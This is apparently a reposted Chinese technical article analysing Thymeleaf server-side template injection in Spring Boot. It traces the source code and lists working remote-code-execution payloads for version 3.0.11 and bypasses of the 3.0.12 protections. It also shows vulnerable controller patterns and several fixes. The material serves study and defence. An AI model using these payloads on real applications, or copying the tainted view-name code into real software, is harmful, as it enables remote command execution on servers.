完全搞懂Thymeleaf SSTI | xxx完全搞懂Thymeleaf SSTI – xxx
菜单

完全搞懂Thymeleaf SSTI

七月 29, 2022 - FreeBuf

Thymeleaf 模板注入

简单介绍

Spring Boot 推荐使用 Thymeleaf 作为其模板引擎

Spring Boot 整合 Thymeleaf 模板引擎,需要以下步骤:

  1. 引入 Starter 依赖

  2. 创建模板文件,并放在在指定目录下

引入依赖

<!--Thymeleaf 启动器--> <dependency>     <groupId>org.springframework.boot</groupId>     <artifactId>spring-boot-starter-thymeleaf</artifactId> </dependency> 

创建模板文件并配置

spring:   thymeleaf:     cache: false     prefix: classpath:/templates/     encoding: UTF-8     suffix: .html     mode: HTML 

resources下创建静态文件

<!DOCTYPE html> <html lang="en" xmlns:th="http://www.thymeleaf.org"> <head>     <meta charset="UTF-8">     <title>Test</title> </head> <body>     <div th:fragment="main">         <span th:text="'hello ' + ${message}"></span>     </div> </body> </html> 

基本语法

  • ${}: 标准变量表达式

  • *{} th:object选择变量表达式

先用 th:object来绑定 blog 对象(th:object=”${blog}”), 然后用 * 来代表这个 blog对象(*{blog})

  • @{..} th:href链接表达式

  • th:action资源重定向

  • th:each遍历

模板注入分析

thymeleaf 3.0.11.RELEASE

搭建漏洞环境

spring-boot 2.5.0 RELEASE版

<thyeleaf.version>3.0.11.RELEASE</thyeleaf.version> 
package com.roboterh.fastjsondemo.controller;  import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestParam;  @Controller public class ThymeleafController {      @GetMapping("/")     public String index(Model model) {         model.addAttribute("message", "world");         return "hello";     }     @GetMapping("/cmd")     public String eval(@RequestParam String cmd) {         return cmd;     } } 

index方法中,通过Model对象绑定属性,进而通过return寻找hello.html进行渲染,而在cmd路由下,通过接收传参cmd进行寻找html进行渲染

具体分析

使用payload进行debug

首先在org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter#handle方法中,开始处理用户的请求

@Nullable     public final ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {         return this.handleInternal(request, response, (HandlerMethod)handler);     } 

之后在org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod#invokeAndHandle中首先通过invokeForRequest方法提取出了待查的模板文件名

Object returnValue = this.invokeForRequest(webRequest, mavContainer, providedArgs); 

最后进入了org.springframework.web.servlet.mvc.method.annotation.ViewNameMethodReturnValueHandler#handleReturnValue方法中,将其转为视图名称

public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {         if (returnValue == null) {             mavContainer.setRequestHandled(true);         } else {             ModelAndView mav = (ModelAndView)returnValue;             if (mav.isReference()) {                 String viewName = mav.getViewName();                 mavContainer.setViewName(viewName);                 if (viewName != null && this.isRedirectViewName(viewName)) {                     mavContainer.setRedirectModelScenario(true);                 }             } else { 

spring boot最终在org.springframework.web.servlet.DispatcherServlet#processDispatchResult方法中,调用Thymeleaf模板引擎的表达式解析。将上一步设置的视图名称为解析为模板名称,并加载模板,返回给用户。核心代码如下org.thymeleaf.standard.expression.IStandardExpressionParser#parseExpression

最后到达了重要的执行逻辑org.thymeleaf.spring5.view.ThymeleafView#renderFragment

前面都是一些获取值和判断的过程,在之后的if判断语句中有

完全搞懂Thymeleaf SSTI

如果传入的模板名中包含了::就会将模板名使用~{name}进行包裹后传入parseExpression方法中,之后通过StandardExpressParser#parseExpression进行处理input,即处理后的模板名

完全搞懂Thymeleaf SSTI

在其中调用了preprocess方法进行处理操作

完全搞懂Thymeleaf SSTI

这里有一个正则匹配,匹配出了__xxx__格式的字符串,在后面的逻辑中也分割出了__前的部分strBuilderxxx部分

之后将xxx部分通过StandardExpressionParser.parseExpression生成表达式,之后调用他的execute方法执行,一直到了VariableExpression#executeVariableExpression方法中调用了

完全搞懂Thymeleaf SSTI

形成了SPEL注入

Payload构造

所以构造payload的格式为: 首先SPEL表达式为xxx需要有__xxx__然后需要存在::即最后的格式为__SPELexpress__::x

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::RoboTerh __${T(java.lang.Runtime).getRuntime().exec("calc")}__::RoboTerh 

thymeleaf 3.0.12.RELEASE

版本差异一
细节分析

在这个版本中在util目录添加了SpringStandardExpressionUtils.java文件

https://github.com/thymeleaf/thymeleaf/compare/thymeleaf-spring5-3.0.11.RELEASE…thymeleaf-spring5-3.0.12.RELEASE

在这个文件注释中有

/* 
* Checks whether the expression contains instantiation of objects ("new SomeClass") or makes use of  * static methods ("T(SomeClass)") as both are forbidden in certain contexts in restricted mode.  */ 
禁止使用new创建类和T()创建静态类 

在执行表达式的时候将会经过该函数的判断

containsSpELInstantiationOrStatic:43, SpringStandardExpressionUtils (org.thymeleaf.spring5.util) getExpression:367, SPELVariableExpressionEvaluator (org.thymeleaf.spring5.expression) obtainComputedSpelExpression:315, SPELVariableExpressionEvaluator (org.thymeleaf.spring5.expression) evaluate:182, SPELVariableExpressionEvaluator (org.thymeleaf.spring5.expression) executeVariableExpression:166, VariableExpression (org.thymeleaf.standard.expression) executeSimple:66, SimpleExpression (org.thymeleaf.standard.expression) execute:109, Expression (org.thymeleaf.standard.expression) execute:138, Expression (org.thymeleaf.standard.expression) preprocess:91, StandardExpressionPreprocessor (org.thymeleaf.standard.expression) parseExpression:120, StandardExpressionParser (org.thymeleaf.standard.expression) parseExpression:62, StandardExpressionParser (org.thymeleaf.standard.expression) parseExpression:44, StandardExpressionParser (org.thymeleaf.standard.expression) renderFragment:282, ThymeleafView (org.thymeleaf.spring5.view) render:190, ThymeleafView (org.thymeleaf.spring5.view) render:1396, DispatcherServlet (org.springframework.web.servlet) processDispatchResult:1141, DispatcherServlet (org.springframework.web.servlet) doDispatch:1080, DispatcherServlet (org.springframework.web.servlet) doService:963, DispatcherServlet (org.springframework.web.servlet) processRequest:1006, FrameworkServlet (org.springframework.web.servlet) doGet:898, FrameworkServlet (org.springframework.web.servlet) service:626, HttpServlet (javax.servlet.http) service:883, FrameworkServlet (org.springframework.web.servlet) service:733, HttpServlet (javax.servlet.http) internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core) doFilter:53, WsFilter (org.apache.tomcat.websocket.server) internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:100, RequestContextFilter (org.springframework.web.filter) doFilter:119, OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:93, FormContentFilter (org.springframework.web.filter) doFilter:119, OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core) doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter) doFilter:119, OncePerRequestFilter (org.springframework.web.filter) internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core) doFilter:162, ApplicationFilterChain (org.apache.catalina.core) invoke:202, StandardWrapperValve (org.apache.catalina.core) invoke:97, StandardContextValve (org.apache.catalina.core) invoke:542, AuthenticatorBase (org.apache.catalina.authenticator) invoke:143, StandardHostValve (org.apache.catalina.core) invoke:92, ErrorReportValve (org.apache.catalina.valves) invoke:78, StandardEngineValve (org.apache.catalina.core) service:357, CoyoteAdapter (org.apache.catalina.connector) service:374, Http11Processor (org.apache.coyote.http11) process:65, AbstractProcessorLight (org.apache.coyote) process:893, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1707, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:748, Thread (java.lang) 

跟入containsSpELInstantiationOrStatic方法中

其主要逻辑是首先 倒序检测是否包含wen关键字、在(的左边的字符是否是T,如包含,那么认为找到了一个实例化对象,返回true,阻止该表达式的执行

因此绕过这个函数的检测的方法:

1、表达式中不能含有关键字new
2、在(的左边的字符不能是T
3、不能在T(中间添加的字符使得原表达式出现问题

Bypass

可以在T(之间使用绕过的字符

  • %20

  • %0a

  • %09

  • %0d

  • %00

  • 还可以fuzzing寻找

__${T%20(java.lang.Runtime).getRuntime().exec("calc")}__::.x 
利用场景
  • 针对的是传入的路径名可控

  • 需要进行路径的拼接
    类似这种:

@GetMapping("/admin")     public String path(@RequestParam String lang) {         return "en/test/" + lang;     } 

如果是这种就会抛出版本差异二中的错误

@GetMapping("/home/{page}")     public String getHome(@PathVariable String page) {         return "home/" + page;     } 

为什么呢?
因为第二种就会导致path和返回的视图名一样,就会抛出错误,当然,值得注意的是,如果不进行拼接,单独返回视图名,也会被拦截

版本差异二
细节分析

使用上面第二个版本的GetMapping进行实验

使用上面的payload但是报错了

View name is an executable expression, and it is present in a literal manner in request path or parameters, which is forbidden for security reasons.

应该是这版本做出了某个限制

同样增加了SpringRequestUtils.java文件

在commit中的描述

https://github.com/thymeleaf/thymeleaf/blob/thymeleaf-spring5-3.0.12.RELEASE/thymeleaf-spring5/src/main/java/org/thymeleaf/spring5/util/SpringRequestUtils.java

Avoid execution of view name as a fragment expression if view name is contained in the path or parameters of the URL 

如果视图的名字和 path 一致,那么就会经过SpringRequestUtils.java中的checkViewNameNotInRequest函数检测

根据报错找到详细逻辑在org.thymeleaf.spring5.util.SpringRequestUtils#checkViewNameNotInRequest

public final class SpringRequestUtils {     public static void checkViewNameNotInRequest(String viewName, HttpServletRequest request) {         String vn = StringUtils.pack(viewName);         String requestURI = StringUtils.pack(UriEscape.unescapeUriPath(request.getRequestURI()));         boolean found = requestURI != null && requestURI.contains(vn);         if (!found) {             Enumeration paramNames = request.getParameterNames();              while(!found && paramNames.hasMoreElements()) {                 String[] paramValues = request.getParameterValues((String)paramNames.nextElement());                  for(int i = 0; !found && i < paramValues.length; ++i) {                     String paramValue = StringUtils.pack(UriEscape.unescapeUriQueryParam(paramValues[i]));                     if (paramValue.contains(vn)) {                         found = true;                     }                 }             }         }          if (found) {             throw new TemplateProcessingException("View name is an executable expression, and it is present in a literal manner in request path or parameters, which is forbidden for security reasons.");         }     } 

在这段逻辑中,它不仅检查了请求的路径,而且检查了请求的参数,如果他们其中一个和传入的模板名称一致,就会导致错误的抛出

我们只需要令requestURI.contains(vn)为假,就能达到我们的目的

虽然contains方法不区分大小写,但是在pack方法中已经小写化了

但是在UriEscape.unescapeUriPath中一直跟进到了UriEscapeUtil.unescape方法中也就是处理了+%符号

Bypass

这里有两种绕过方法

;/__${T(java.lang.runtime).getruntime().exec("calc")}__::.x //__${T(java.lang.runtime).getruntime().exec("calc")}__::.x 

法一:

因为在 SpringBoot 中,SpringBoot 有一个功能叫做矩阵变量,默认禁用,如果发现路径中存在分号,那么会调用removeSemicolonContent方法来移除分号

法二:

将多余的/去掉

利用场景

使用RestFul风格的api才可以

Bypass trick

  • 在进行SPEL解析的过程中org.springframework.expression.spel.standard.Tokenizer#process方法中

以字符为单位遍历表达式内容,若当前字符为a-z或者A-Z,则执行lexIdentifier方法,在lexIdentifier方法中,继续遍历表达式内容,直到遍历到的字符不是a-z A-Z、0-9、_、$结束此次遍历,并将此次遍历的所有字符封装在Token对象中,最后存储List<Token> tokens中。否则走else分支

else分支中,若遇到u0000rnt、“不做任何处理,直接跳出switch语句,并进入下一个字符的判断

所以%00 %0a %0d %09 %20可以绕过

__${T%20(%0ajava.lang.Runtime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')}__::.x 
  • T获取class过程中org.springframework.expression.spel.ast.TypeReference#getValueInternal方法中

根据字符串typeName获取对应的Class对象实例,跟入org.springframework.expression.spel.ExpressionState#findType,发现通过SpEL表达式上下文对象去寻找typeName对应的Class对象实例,在Thymeleaf中,此时默认的SpEL上下文对象为org.thymeleaf.spring5.expression.ThymeleafEvaluationContext对象实例,可看到继承org.springframework.expression.spel.support.StandardEvaluationContext对象,而StandardEvaluationContext支持type references,接着跟入org.springframework.expression.spel.support.StandardEvaluationContext#getTypeLocator,发现默认使用StandardTypeLocator

最后可以发现在org.springframework.expression.spel.support.StandardTypeLocator#findType方法,可以发现此方法在异常出现时进行了一次补救:当通过typeName没有找到对应的Class对象时,则拼接前缀java.lang后继续获取对应的Class对象

所以不用指定全类名

__${T%20(%0aRuntime%09).%0dgetRuntime%0a(%09)%0d.%00exec('calc')}__::.x 

Payload

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}__::RoboTerh __${T(java.lang.Runtime).getRuntime().exec("calc")}__::RoboTerh __${T%20(java.lang.Runtime).getRuntime().exec("calc")}__::.x ;/__${T(java.lang.runtime).getruntime().exec("calc")}__::.x //__${T(java.lang.runtime).getruntime().exec("calc")}__::.x 

不安全代码

spring官方对返回值的说明

Servlet Stack 上的 Web (spring.io)

@GetMapping("/path")     public String path(@RequestParam String lang) {         return  lang ; //template path is tainted     } 
@GetMapping("/admin")     public String path(@RequestParam String lang) {         return "en/test/" + lang;     } 
@GetMapping("/home/{page}")     public String getHome(@PathVariable String page) {         return "home/" + page;     } 
@GetMapping("/fragment")     public String fragment(@RequestParam String section) {         return "welcome :: " + section; //fragment is tainted     } 

同样就算没有return值也能够触发漏洞

根据spring boot定义,如果controller无返回值,则以GetMapping的路由为视图名称。当然,对于每个http请求来讲,其实就是将请求的url作为视图名称,调用模板引擎去解析

@GetMapping("/doc/{document}")     public void getDocument(@PathVariable String document) { //        log.info("Retrieving " + document);     } GET /doc/__${T(java.lang.Runtime).getRuntime().exec("calc")}__::.x 

修复方案

  1. 设置ResponseBody注解
    如果设置ResponseBody,则不再调用模板解析

  2. 设置redirect重定向

@GetMapping("/safe/redirect") public String redirect(@RequestParam String url) {     return "redirect:" + url; //CWE-601, as we can control the hostname in redirect 

根据spring boot定义,如果名称以redirect:开头,则不再调用ThymeleafView解析,调用RedirectView去解析controller的返回值
3.response

@GetMapping("/safe/doc/{document}") public void getDocument(@PathVariable String document, HttpServletResponse response) {     log.info("Retrieving " + document); //FP } 

由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析

参考

https://www.cnpanda.net/sec/1063.html

本文作者:, 转载请注明来自FreeBuf.COM

# SSTI

Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51